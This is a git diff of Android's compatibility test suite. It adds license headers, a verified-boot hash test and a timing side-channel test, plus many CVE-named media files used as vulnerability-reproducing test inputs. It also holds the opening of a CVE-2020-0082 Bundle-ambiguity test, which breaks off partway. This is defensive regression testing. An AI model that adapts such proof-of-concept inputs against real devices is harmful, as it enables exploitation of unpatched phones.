 LOCAL_NDK_STL_VARIANT := c++_static
 
 include $(BUILD_SHARED_LIBRARY)
-
-
-
diff --git a/tests/tests/sax/Android.bp b/tests/tests/sax/Android.bp
index 8a1a30a..da59526 100644
--- a/tests/tests/sax/Android.bp
+++ b/tests/tests/sax/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test {
     name: "CtsSaxTestCases",
     defaults: ["cts_defaults"],
diff --git a/tests/tests/sdkextensions/Android.bp b/tests/tests/sdkextensions/Android.bp
deleted file mode 100644
index 89b241b..0000000
--- a/tests/tests/sdkextensions/Android.bp
+++ /dev/null
@@ -1,30 +0,0 @@
-// Copyright (C) 2019 The Android Open Source Project
-//
-// Licensed under the Apache License, Version 2.0 (the "License");
-// you may not use this file except in compliance with the License.
-// You may obtain a copy of the License at
-//
-//      http://www.apache.org/licenses/LICENSE-2.0
-//
-// Unless required by applicable law or agreed to in writing, software
-// distributed under the License is distributed on an "AS IS" BASIS,
-// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-// See the License for the specific language governing permissions and
-// limitations under the License.
-
-android_test {
-    name: "CtsSdkExtensionsTestCases",
-    defaults: ["cts_defaults"],
-    static_libs: [
-        "androidx.test.rules",
-        "ctstestrunner-axt",
-    ],
-    srcs: [ "src/**/*.java" ],
-    test_config: "CtsSdkExtensionsTestCases.xml",
-    test_suites: [
-        "cts",
-        "mts",
-        "general-tests",
-    ],
-    sdk_version: "system_current",
-}
diff --git a/tests/tests/sdkextensions/AndroidManifest.xml b/tests/tests/sdkextensions/AndroidManifest.xml
deleted file mode 100644
index a6391b5..0000000
--- a/tests/tests/sdkextensions/AndroidManifest.xml
+++ /dev/null
@@ -1,28 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!--
-     Copyright (C) 2019 The Android Open Source Project
-
-     Licensed under the Apache License, Version 2.0 (the "License");
-     you may not use this file except in compliance with the License.
-     You may obtain a copy of the License at
-
-          http://www.apache.org/licenses/LICENSE-2.0
-
-     Unless required by applicable law or agreed to in writing, software
-     distributed under the License is distributed on an "AS IS" BASIS,
-     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-     See the License for the specific language governing permissions and
-     limitations under the License.
--->
-
-<manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="android.os.ext.cts">
-
-    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
-                     android:targetPackage="android.os.ext.cts"
-                     android:label="CTS tests of android.os.ext">
-        <meta-data android:name="listener"
-            android:value="com.android.cts.runner.CtsTestRunListener" />
-    </instrumentation>
-
-</manifest>
diff --git a/tests/tests/sdkextensions/CtsSdkExtensionsTestCases.xml b/tests/tests/sdkextensions/CtsSdkExtensionsTestCases.xml
deleted file mode 100644
index a0b2055..0000000
--- a/tests/tests/sdkextensions/CtsSdkExtensionsTestCases.xml
+++ /dev/null
@@ -1,37 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!-- Copyright (C) 2015 The Android Open Source Project
-
-     Licensed under the Apache License, Version 2.0 (the "License");
-     you may not use this file except in compliance with the License.
-     You may obtain a copy of the License at
-
-          http://www.apache.org/licenses/LICENSE-2.0
-
-     Unless required by applicable law or agreed to in writing, software
-     distributed under the License is distributed on an "AS IS" BASIS,
-     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-     See the License for the specific language governing permissions and
-     limitations under the License.
--->
-<configuration description="Configuration for SdkExtension Tests">
-    <option name="test-suite-tag" value="cts" />
-    <option name="config-descriptor:metadata" key="component" value="framework" />
-    <option name="config-descriptor:metadata" key="parameter" value="instant_app" />
-    <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
-    <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
-    <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
-        <option name="cleanup-apks" value="true" />
-        <option name="test-file-name" value="CtsSdkExtensionsTestCases.apk" />
-    </target_preparer>
-    <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
-        <option name="package" value="android.os.ext.cts" />
-    </test>
-
-    <!-- Run CtsSdkExtensionsTestCases when "com.google.android.sdkext" is on device.
-      Otherwise skip. The logic only applies to situations when CtsSdkExtensionsTestCasesdoes
-      is triggered via mts-tradefed. It is disabled for all other *TS.
-    -->
-    <object type="module_controller" class="com.android.tradefed.testtype.suite.module.MainlineTestModuleController">
-        <option name="mainline-module-package-name" value="com.google.android.sdkext" />
-    </object>
-</configuration>
diff --git a/tests/tests/sdkextensions/OWNERS b/tests/tests/sdkextensions/OWNERS
deleted file mode 100644
index 8e32df8..0000000
--- a/tests/tests/sdkextensions/OWNERS
+++ /dev/null
@@ -1 +0,0 @@
-include platform/frameworks/base:/apex/sdkextensions/OWNERS
diff --git a/tests/tests/sdkextensions/TEST_MAPPING b/tests/tests/sdkextensions/TEST_MAPPING
deleted file mode 100644
index 7783bda..0000000
--- a/tests/tests/sdkextensions/TEST_MAPPING
+++ /dev/null
@@ -1,7 +0,0 @@
-{
-  "presubmit": [
-    {
-      "name": "CtsSdkExtensionsTestCases"
-    }
-  ]
-}
diff --git a/tests/tests/sdkextensions/src/android/os/ext/cts/SdkExtensionsTest.java b/tests/tests/sdkextensions/src/android/os/ext/cts/SdkExtensionsTest.java
deleted file mode 100644
index 884f5ef..0000000
--- a/tests/tests/sdkextensions/src/android/os/ext/cts/SdkExtensionsTest.java
+++ /dev/null
@@ -1,43 +0,0 @@
-/*
- * Copyright (C) 2019 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.os.ext.cts;
-
-import android.os.Build;
-import android.os.ext.SdkExtensions;
-import junit.framework.TestCase;
-
-public class SdkExtensionsTest extends TestCase {
-
-    /** Verify that getExtensionVersion only accepts valid extension SDKs */
-    public void testBadArgument() throws Exception {
-        // R is the first SDK version with extensions.
-        for (int sdk = -1_000_000; sdk < Build.VERSION_CODES.R; sdk++) {
-            try {
-                SdkExtensions.getExtensionVersion(sdk);
-                fail("expected IllegalArgumentException");
-            } catch (IllegalArgumentException expected) { }
-        }
-    }
-
-    /** Verifies that getExtensionVersion only return existing versions */
-    public void testValidValues() throws Exception {
-        for (int sdk = Build.VERSION_CODES.R; sdk <= 1_000_000; sdk++) {
-            // No extension SDKs versions yet.
-            assertEquals(0, SdkExtensions.getExtensionVersion(sdk));
-        }
-    }
-}
diff --git a/tests/tests/secure_element/access_control/AccessControlApp1/Android.bp b/tests/tests/secure_element/access_control/AccessControlApp1/Android.bp
index fc241b3..eae5e9b 100644
--- a/tests/tests/secure_element/access_control/AccessControlApp1/Android.bp
+++ b/tests/tests/secure_element/access_control/AccessControlApp1/Android.bp
@@ -1,6 +1,10 @@
 //////////////////////////////////////////////////////////////////
 // Signed Package
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_import {
     name: "signed-CtsSecureElementAccessControlTestCases1",
     apk: "apk/signed-CtsSecureElementAccessControlTestCases1.apk",
diff --git a/tests/tests/secure_element/access_control/AccessControlApp2/Android.bp b/tests/tests/secure_element/access_control/AccessControlApp2/Android.bp
index 1582a1c..5ba6505 100644
--- a/tests/tests/secure_element/access_control/AccessControlApp2/Android.bp
+++ b/tests/tests/secure_element/access_control/AccessControlApp2/Android.bp
@@ -1,6 +1,10 @@
 //////////////////////////////////////////////////////////////////
 // Signed Package
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_import {
     name: "signed-CtsSecureElementAccessControlTestCases2",
     apk: "apk/signed-CtsSecureElementAccessControlTestCases2.apk",
diff --git a/tests/tests/secure_element/access_control/AccessControlApp3/Android.bp b/tests/tests/secure_element/access_control/AccessControlApp3/Android.bp
index 7ae3cf6..a14a327 100644
--- a/tests/tests/secure_element/access_control/AccessControlApp3/Android.bp
+++ b/tests/tests/secure_element/access_control/AccessControlApp3/Android.bp
@@ -1,6 +1,10 @@
 //////////////////////////////////////////////////////////////////
 // Signed Package
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_import {
     name: "signed-CtsSecureElementAccessControlTestCases3",
     apk: "apk/signed-CtsSecureElementAccessControlTestCases3.apk",
diff --git a/tests/tests/secure_element/omapi/Android.bp b/tests/tests/secure_element/omapi/Android.bp
index cd6362b..4cee16e 100644
--- a/tests/tests/secure_element/omapi/Android.bp
+++ b/tests/tests/secure_element/omapi/Android.bp
@@ -15,6 +15,10 @@
 //////////////////////////////////////////////////////////////////
 // Signed Package
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_import {
     name: "signed-CtsOmapiTestCases",
     apk: "apk/signed-CtsOmapiTestCases.apk",
diff --git a/tests/tests/security/Android.bp b/tests/tests/security/Android.bp
index 18a1754..e79cd7e 100644
--- a/tests/tests/security/Android.bp
+++ b/tests/tests/security/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test {
     name: "CtsSecurityTestCases",
     defaults: ["cts_defaults"],
diff --git a/tests/tests/security/AndroidTest.xml b/tests/tests/security/AndroidTest.xml
index ad7fa33..e9067908 100644
--- a/tests/tests/security/AndroidTest.xml
+++ b/tests/tests/security/AndroidTest.xml
@@ -17,10 +17,12 @@
     <option name="test-suite-tag" value="cts" />
     <option name="config-descriptor:metadata" key="component" value="security" />
     <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
-    <option name="config-descriptor:metadata" key="parameter" value="instant_app" />
+    <!-- CtsDeviceInfo target API is 23; instant app requires target API >= 26. -->
+    <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
+        <option name="test-file-name" value="CtsDeviceInfo.apk" />
         <option name="test-file-name" value="CtsSecurityTestCases.apk" />
     </target_preparer>
     <target_preparer class="com.android.compatibility.common.tradefed.targetprep.CrashReporter" />
diff --git a/tests/tests/security/OWNERS b/tests/tests/security/OWNERS
index d6bf090..5c6bb98 100644
--- a/tests/tests/security/OWNERS
+++ b/tests/tests/security/OWNERS
@@ -1,6 +1,6 @@
 # Bug component: 36824
 cbrubaker@google.com
 jeffv@google.com
-nnk@google.com
 mspector@google.com
 manjaepark@google.com
+cdombroski@google.com
diff --git a/tests/tests/security/jni/Android.bp b/tests/tests/security/jni/Android.bp
index b667f18..5d5f6d1 100644
--- a/tests/tests/security/jni/Android.bp
+++ b/tests/tests/security/jni/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 cc_library {
     name: "libctssecurity_jni",
     srcs: [
diff --git a/tests/tests/security/native/encryption/Android.bp b/tests/tests/security/native/encryption/Android.bp
index b6b9d27..2da0ad0 100644
--- a/tests/tests/security/native/encryption/Android.bp
+++ b/tests/tests/security/native/encryption/Android.bp
@@ -1,3 +1,7 @@
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 cc_test {
     name: "CtsNativeEncryptionTestCases",
     cflags: [
diff --git a/tests/tests/security/native/encryption/FileBasedEncryptionPolicyTest.cpp b/tests/tests/security/native/encryption/FileBasedEncryptionPolicyTest.cpp
index 7229574..824cb50 100644
--- a/tests/tests/security/native/encryption/FileBasedEncryptionPolicyTest.cpp
+++ b/tests/tests/security/native/encryption/FileBasedEncryptionPolicyTest.cpp
@@ -46,14 +46,17 @@
 }
 
 #ifdef __arm__
-// For ARM32, assemble the 'aese.8' instruction as a .word, since otherwise
+// For ARM32, assemble the 'aese.8' instruction as an .inst, since otherwise
 // clang does not accept it.  It would be allowed in a separate file compiled
-// with -march=armv8, but this way is much easier.  And it's not yet possible to
-// use a target function attribute, because clang doesn't yet support
-// target("fpu=crypto-neon-fp-armv8") like gcc does.
-static void executeAESInstruction(void) {
+// with -march=armv8+crypto, but this way is much easier.  And it's not yet
+// possible to use a target function attribute, because clang doesn't yet
+// support target("fpu=crypto-neon-fp-armv8") like gcc does.
+//
+// We use the ARM encoding of the instruction, not the Thumb encoding.  So make
+// sure to use target("arm") to mark the function as containing ARM code.
+static void __attribute__((target("arm"))) executeAESInstruction(void) {
     // aese.8  q0, q1
-    asm volatile(".word  0xf3b00302" : : : "q0");
+    asm volatile(".inst  0xf3b00302" : : : "q0");
 }
 #elif defined(__aarch64__)
 static void __attribute__((target("crypto"))) executeAESInstruction(void) {
diff --git a/tests/tests/security/native/verified_boot/Android.bp b/tests/tests/security/native/verified_boot/Android.bp
new file mode 100644
index 0000000..19b54cd
--- /dev/null
+++ b/tests/tests/security/native/verified_boot/Android.bp
@@ -0,0 +1,35 @@
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+cc_test {
+    name: "CtsNativeVerifiedBootTestCases",
+    cflags: [
+        "-Wall",
+        "-Werror",
+    ],
+    srcs: [
+        "VerifiedBootTest.cpp",
+    ],
+    static_libs: [
+        "libavb_user",
+        "libavb",
+        "libfs_mgr",
+    ],
+    shared_libs: [
+        "libbase",
+        "libcutils",
+    ],
+    multilib: {
+        lib32: {
+            suffix: "32",
+        },
+        lib64: {
+            suffix: "64",
+        },
+    },
+    test_suites: [
+        "cts",
+        "general-tests",
+    ],
+}
diff --git a/tests/tests/security/native/verified_boot/AndroidTest.xml b/tests/tests/security/native/verified_boot/AndroidTest.xml
new file mode 100644
index 0000000..777421f
--- /dev/null
+++ b/tests/tests/security/native/verified_boot/AndroidTest.xml
@@ -0,0 +1,32 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright 2019 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<configuration description="Config for CTS Native verified boot test cases">
+    <option name="test-suite-tag" value="cts" />
+    <option name="config-descriptor:metadata" key="component" value="security" />
+    <option name="config-descriptor:metadata" key="parameter" value="instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
+    <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
+    <target_preparer class="com.android.compatibility.common.tradefed.targetprep.FilePusher">
+        <option name="cleanup" value="true" />
+        <option name="push" value="CtsNativeVerifiedBootTestCases->/data/local/tmp/CtsNativeVerifiedBootTestCases" />
+        <option name="append-bitness" value="true" />
+    </target_preparer>
+    <test class="com.android.tradefed.testtype.GTest" >
+        <option name="native-test-device-path" value="/data/local/tmp" />
+        <option name="module-name" value="CtsNativeVerifiedBootTestCases" />
+        <option name="runtime-hint" value="5s" />
+    </test>
+</configuration>
diff --git a/tests/tests/security/native/verified_boot/VerifiedBootTest.cpp b/tests/tests/security/native/verified_boot/VerifiedBootTest.cpp
new file mode 100644
index 0000000..0cc60e8
--- /dev/null
+++ b/tests/tests/security/native/verified_boot/VerifiedBootTest.cpp
@@ -0,0 +1,79 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include <string>
+
+#include <android-base/file.h>
+#include <android-base/properties.h>
+#include <android-base/strings.h>
+#include <fs_mgr.h>
+#include <fstab/fstab.h>
+#include <gtest/gtest.h>
+
+// The relevant Android API levels
+constexpr auto S_API_LEVEL = 31;
+
+static int getFirstApiLevel() {
+  int level = android::base::GetIntProperty("ro.product.first_api_level", 0);
+  if (level == 0) {
+    level = android::base::GetIntProperty("ro.build.version.sdk", 0);
+  }
+  if (level == 0) {
+    ADD_FAILURE() << "Failed to determine first API level";
+  }
+  return level;
+}
+
+// As required by CDD, verified boot MUST use verification algorithms as strong
+// as current recommendations from NIST for hashing algorithms (SHA-256).
+// https://source.android.com/compatibility/11/android-11-cdd#9_10_device_integrity
+TEST(VerifiedBootTest, avbHashtreeNotUsingSha1) {
+  int first_api_level = getFirstApiLevel();
+  GTEST_LOG_(INFO) << "First API level is " << first_api_level;
+  if (first_api_level < S_API_LEVEL) {
+    GTEST_LOG_(INFO)
+        << "Exempt from avb hash tree test due to old starting API level";
+    return;
+  }
+
+  android::fs_mgr::Fstab fstab;
+  ASSERT_TRUE(ReadDefaultFstab(&fstab)) << "Failed to read default fstab";
+
+  for (const auto& entry : fstab) {
+    if (!entry.fs_mgr_flags.verify && !entry.fs_mgr_flags.avb) {
+      continue;
+    }
+
+    if (android::base::EqualsIgnoreCase(entry.fs_type, "emmc")) {
+      GTEST_LOG_(INFO) << entry.mount_point << " has emmc fs_type, skipping"
+          << " hashtree algorithm verification";
+      continue;
+    }
+
+    GTEST_LOG_(ERROR) << "partition enabled verity " << entry.mount_point;
+
+    // The verity sysprop use "system" as the partition name in the system as
+    // root case.
+    std::string partition = entry.mount_point == "/"
+                                ? "system"
+                                : android::base::Basename(entry.mount_point);
+
+    std::string alg_prop_name = "partition." + partition + ".verified.hash_alg";
+    std::string hash_alg = android::base::GetProperty(alg_prop_name, "");
+    ASSERT_FALSE(hash_alg.empty());
+    ASSERT_FALSE(android::base::StartsWithIgnoreCase(hash_alg, "sha1"));
+  }
+}
diff --git a/tests/tests/security/res/raw/bug170240631_ts.mp4 b/tests/tests/security/res/raw/bug170240631_ts.mp4
new file mode 100644
index 0000000..9891dc6
--- /dev/null
+++ b/tests/tests/security/res/raw/bug170240631_ts.mp4
Binary files differ
diff --git a/tests/tests/security/res/raw/cve_2018_9412.mp3 b/tests/tests/security/res/raw/cve_2018_9412.mp3
new file mode 100644
index 0000000..23391b3
--- /dev/null
+++ b/tests/tests/security/res/raw/cve_2018_9412.mp3
Binary files differ
diff --git a/tests/tests/media/res/raw/swirl_128x128_h264.mp4 b/tests/tests/security/res/raw/cve_2018_9474.mp4
similarity index 100%
rename from tests/tests/media/res/raw/swirl_128x128_h264.mp4
rename to tests/tests/security/res/raw/cve_2018_9474.mp4
Binary files differ
diff --git a/tests/tests/security/res/raw/cve_2019_10489.mp4 b/tests/tests/security/res/raw/cve_2019_10489.mp4
new file mode 100644
index 0000000..a3eba77
--- /dev/null
+++ b/tests/tests/security/res/raw/cve_2019_10489.mp4
Binary files differ
diff --git a/tests/tests/security/res/raw/cve_2019_10532.wmv b/tests/tests/security/res/raw/cve_2019_10532.wmv
new file mode 100644
index 0000000..4869a54
--- /dev/null
+++ b/tests/tests/security/res/raw/cve_2019_10532.wmv
Binary files differ
diff --git a/tests/tests/security/res/raw/cve_2019_10578.mkv b/tests/tests/security/res/raw/cve_2019_10578.mkv
new file mode 100644
index 0000000..4e39345
--- /dev/null
+++ b/tests/tests/security/res/raw/cve_2019_10578.mkv
Binary files differ
diff --git a/tests/tests/security/res/raw/cve_2019_10579.mkv b/tests/tests/security/res/raw/cve_2019_10579.mkv
new file mode 100644
index 0000000..0b079d5
--- /dev/null
+++ b/tests/tests/security/res/raw/cve_2019_10579.mkv
Binary files differ
diff --git a/tests/tests/security/res/raw/cve_2019_10590.mp4 b/tests/tests/security/res/raw/cve_2019_10590.mp4
new file mode 100644
index 0000000..84b7981
--- /dev/null
+++ b/tests/tests/security/res/raw/cve_2019_10590.mp4
Binary files differ
diff --git a/tests/tests/security/res/raw/cve_2019_10591.mp4 b/tests/tests/security/res/raw/cve_2019_10591.mp4
new file mode 100644
index 0000000..73b288a
--- /dev/null
+++ b/tests/tests/security/res/raw/cve_2019_10591.mp4
Binary files differ
diff --git a/tests/tests/security/res/raw/cve_2019_10611.mp4 b/tests/tests/security/res/raw/cve_2019_10611.mp4
new file mode 100644
index 0000000..3374e81
--- /dev/null
+++ b/tests/tests/security/res/raw/cve_2019_10611.mp4
Binary files differ
diff --git a/tests/tests/security/res/raw/cve_2019_14003.mkv b/tests/tests/security/res/raw/cve_2019_14003.mkv
new file mode 100644
index 0000000..973a130
--- /dev/null
+++ b/tests/tests/security/res/raw/cve_2019_14003.mkv
Binary files differ
diff --git a/tests/tests/security/res/raw/cve_2019_14004.mkv b/tests/tests/security/res/raw/cve_2019_14004.mkv
new file mode 100644
index 0000000..c222cf7
--- /dev/null
+++ b/tests/tests/security/res/raw/cve_2019_14004.mkv
Binary files differ
diff --git a/tests/tests/security/res/raw/cve_2019_14005.mkv b/tests/tests/security/res/raw/cve_2019_14005.mkv
new file mode 100644
index 0000000..74d596b
--- /dev/null
+++ b/tests/tests/security/res/raw/cve_2019_14005.mkv
Binary files differ
diff --git a/tests/tests/security/res/raw/cve_2019_14006.mkv b/tests/tests/security/res/raw/cve_2019_14006.mkv
new file mode 100644
index 0000000..37b0c0a
--- /dev/null
+++ b/tests/tests/security/res/raw/cve_2019_14006.mkv
Binary files differ
diff --git a/tests/tests/security/res/raw/cve_2019_14016.wmv b/tests/tests/security/res/raw/cve_2019_14016.wmv
new file mode 100644
index 0000000..aeff9c1
--- /dev/null
+++ b/tests/tests/security/res/raw/cve_2019_14016.wmv
Binary files differ
diff --git a/tests/tests/security/res/raw/cve_2019_14017.mkv b/tests/tests/security/res/raw/cve_2019_14017.mkv
new file mode 100644
index 0000000..ad6a7ba
--- /dev/null
+++ b/tests/tests/security/res/raw/cve_2019_14017.mkv
Binary files differ
diff --git a/tests/tests/security/res/raw/cve_2019_14048.ts b/tests/tests/security/res/raw/cve_2019_14048.ts
new file mode 100644
index 0000000..1a79b20
--- /dev/null
+++ b/tests/tests/security/res/raw/cve_2019_14048.ts
Binary files differ
diff --git a/tests/tests/security/res/raw/cve_2019_14057.mkv b/tests/tests/security/res/raw/cve_2019_14057.mkv
new file mode 100644
index 0000000..4ec7655
--- /dev/null
+++ b/tests/tests/security/res/raw/cve_2019_14057.mkv
Binary files differ
diff --git a/tests/tests/security/res/raw/cve_2019_14061.mkv b/tests/tests/security/res/raw/cve_2019_14061.mkv
new file mode 100644
index 0000000..ec869f2
--- /dev/null
+++ b/tests/tests/security/res/raw/cve_2019_14061.mkv
Binary files differ
diff --git a/tests/tests/security/res/raw/cve_2019_14127.mkv b/tests/tests/security/res/raw/cve_2019_14127.mkv
new file mode 100644
index 0000000..e9e15a5
--- /dev/null
+++ b/tests/tests/security/res/raw/cve_2019_14127.mkv
Binary files differ
diff --git a/tests/tests/security/res/raw/cve_2019_14132.mp4 b/tests/tests/security/res/raw/cve_2019_14132.mp4
new file mode 100644
index 0000000..f95a77d
--- /dev/null
+++ b/tests/tests/security/res/raw/cve_2019_14132.mp4
Binary files differ
diff --git a/tests/tests/security/res/raw/cve_2019_1989_h264.mp4 b/tests/tests/security/res/raw/cve_2019_1989_h264.mp4
new file mode 100644
index 0000000..bc6f1ed
--- /dev/null
+++ b/tests/tests/security/res/raw/cve_2019_1989_h264.mp4
Binary files differ
diff --git a/tests/tests/security/res/raw/cve_2019_1989_info.mp4 b/tests/tests/security/res/raw/cve_2019_1989_info.mp4
new file mode 100644
index 0000000..57b59b5
--- /dev/null
+++ b/tests/tests/security/res/raw/cve_2019_1989_info.mp4
@@ -0,0 +1,46 @@
+1 706
+1 27
+1 8
+0 59463
+0 8879
+0 1702
+0 1196
+0 967
+0 6219
+0 1727
+0 542
+0 600
+0 9607
+0 2226
+0 763
+0 752
+0 10565
+0 2636
+0 966
+0 1030
+0 11734
+0 3270
+0 1056
+0 1003
+0 11993
+0 3253
+0 1066
+0 1091
+0 12431
+0 3425
+0 1118
+0 1149
+0 5523
+0 6016
+0 5999
+0 5897
+0 12690
+0 3997
+0 1127
+1 27
+1 7
+0 39989
+0 2702
+0 4955
+0 4868
+0 5516
diff --git a/tests/tests/security/res/raw/cve_2019_2108_hevc.mp4 b/tests/tests/security/res/raw/cve_2019_2108_hevc.mp4
new file mode 100644
index 0000000..cb2df96
--- /dev/null
+++ b/tests/tests/security/res/raw/cve_2019_2108_hevc.mp4
Binary files differ
diff --git a/tests/tests/security/res/raw/cve_2019_2222_framelen.mp4 b/tests/tests/security/res/raw/cve_2019_2222_framelen.mp4
new file mode 100644
index 0000000..a4bc980
--- /dev/null
+++ b/tests/tests/security/res/raw/cve_2019_2222_framelen.mp4
@@ -0,0 +1,8 @@
+35
+28
+12
+6
+10
+31
+8
+130
diff --git a/tests/tests/security/res/raw/cve_2019_2222_hevc.mp4 b/tests/tests/security/res/raw/cve_2019_2222_hevc.mp4
new file mode 100644
index 0000000..26b8007
--- /dev/null
+++ b/tests/tests/security/res/raw/cve_2019_2222_hevc.mp4
Binary files differ
diff --git a/tests/tests/security/res/raw/cve_2019_2223_framelen.mp4 b/tests/tests/security/res/raw/cve_2019_2223_framelen.mp4
new file mode 100644
index 0000000..a1c3cfc
--- /dev/null
+++ b/tests/tests/security/res/raw/cve_2019_2223_framelen.mp4
@@ -0,0 +1,5 @@
+29
+12
+9
+23
+73
diff --git a/tests/tests/security/res/raw/cve_2019_2223_hevc.mp4 b/tests/tests/security/res/raw/cve_2019_2223_hevc.mp4
new file mode 100644
index 0000000..f9d5dbc
--- /dev/null
+++ b/tests/tests/security/res/raw/cve_2019_2223_hevc.mp4
Binary files differ
diff --git a/tests/tests/security/res/raw/cve_2019_2253.ogg b/tests/tests/security/res/raw/cve_2019_2253.ogg
new file mode 100644
index 0000000..98fe781
--- /dev/null
+++ b/tests/tests/security/res/raw/cve_2019_2253.ogg
Binary files differ
diff --git a/tests/tests/security/res/raw/cve_2020_3641.mp4 b/tests/tests/security/res/raw/cve_2020_3641.mp4
new file mode 100644
index 0000000..ee66c7c
--- /dev/null
+++ b/tests/tests/security/res/raw/cve_2020_3641.mp4
Binary files differ
diff --git a/tests/tests/security/res/raw/cve_2021_0312.wav b/tests/tests/security/res/raw/cve_2021_0312.wav
new file mode 100644
index 0000000..aa144ec
--- /dev/null
+++ b/tests/tests/security/res/raw/cve_2021_0312.wav
Binary files differ
diff --git a/tests/tests/security/src/android/security/cts/ActivityManagerTest.java b/tests/tests/security/src/android/security/cts/ActivityManagerTest.java
index 47730e1..59d965d 100644
--- a/tests/tests/security/src/android/security/cts/ActivityManagerTest.java
+++ b/tests/tests/security/src/android/security/cts/ActivityManagerTest.java
@@ -16,10 +16,13 @@
 package android.security.cts;
 
 import android.app.ActivityManager;
+import android.app.ApplicationExitInfo;
+import android.content.Context;
 import android.os.IBinder;
 import android.platform.test.annotations.SecurityTest;
 import android.util.Log;
 
+import androidx.test.InstrumentationRegistry;
 import junit.framework.TestCase;
 
 import java.lang.reflect.InvocationTargetException;
@@ -76,4 +79,42 @@
 
         assertNotNull("Expect SecurityException by attaching null application", securityException);
     }
+
+    // b/166667403
+    @SecurityTest(minPatchLevel = "2021-01")
+    public void testActivityManager_appExitReasonPackageNames() {
+        final String mockPackage = "com.foo.bar";
+        final String realPackage = "com.android.compatibility.common.deviceinfo";
+        final Context context = InstrumentationRegistry.getTargetContext();
+        final ActivityManager am = context.getSystemService(ActivityManager.class);
+        try {
+            am.getHistoricalProcessExitReasons(mockPackage, 0, 0);
+            fail("Expecting SecurityException");
+        } catch (SecurityException e) {
+            // expected
+        }
+
+        final int totalLoops = 10000;
+        int mockPackagescores = 0;
+        final double tolerance = 0.2d;
+        for (int i = 0; i < totalLoops; i++) {
+            final long realPackageTiming = measureGetHistoricalProcessExitReasons(am, realPackage);
+            final long mockPackageTiming = measureGetHistoricalProcessExitReasons(am, mockPackage);
+            mockPackagescores += mockPackageTiming < realPackageTiming ? 1 : 0;
+        }
+
+        assertTrue(Math.abs((double) mockPackagescores / totalLoops - 0.5d) < tolerance);
+    }
+
+    /**
+     * Run ActivityManager.getHistoricalProcessExitReasons once, return the time spent on it.
+     */
+    private long measureGetHistoricalProcessExitReasons(ActivityManager am, String pkg) {
+        final long start = System.nanoTime();
+        try {
+            am.getHistoricalProcessExitReasons(pkg, 0, 0);
+        } catch (Exception e) {
+        }
+        return System.nanoTime() - start;
+    }
 }
diff --git a/tests/tests/security/src/android/security/cts/AmbiguousBundlesTest.java b/tests/tests/security/src/android/security/cts/AmbiguousBundlesTest.java
index e7126ed..99b2ab7 100644
--- a/tests/tests/security/src/android/security/cts/AmbiguousBundlesTest.java
+++ b/tests/tests/security/src/android/security/cts/AmbiguousBundlesTest.java
@@ -37,6 +37,145 @@
 
 public class AmbiguousBundlesTest extends AndroidTestCase {
 
+    /**
+     * b/140417434
+     * Vulnerability Behaviour: Failure via Exception
+     */
+    @SecurityTest(minPatchLevel = "2020-04")
+    public void test_android_CVE_2020_0082() throws Exception {
+
+        Ambiguator ambiguator = new Ambiguator() {
+
+            private static final int VAL_STRING = 0;
+            private static final int VAL_PARCELABLEARRAY = 16;
+            private static final int LENGTH_PARCELABLEARRAY = 4;
+            private Parcel mContextBinder;
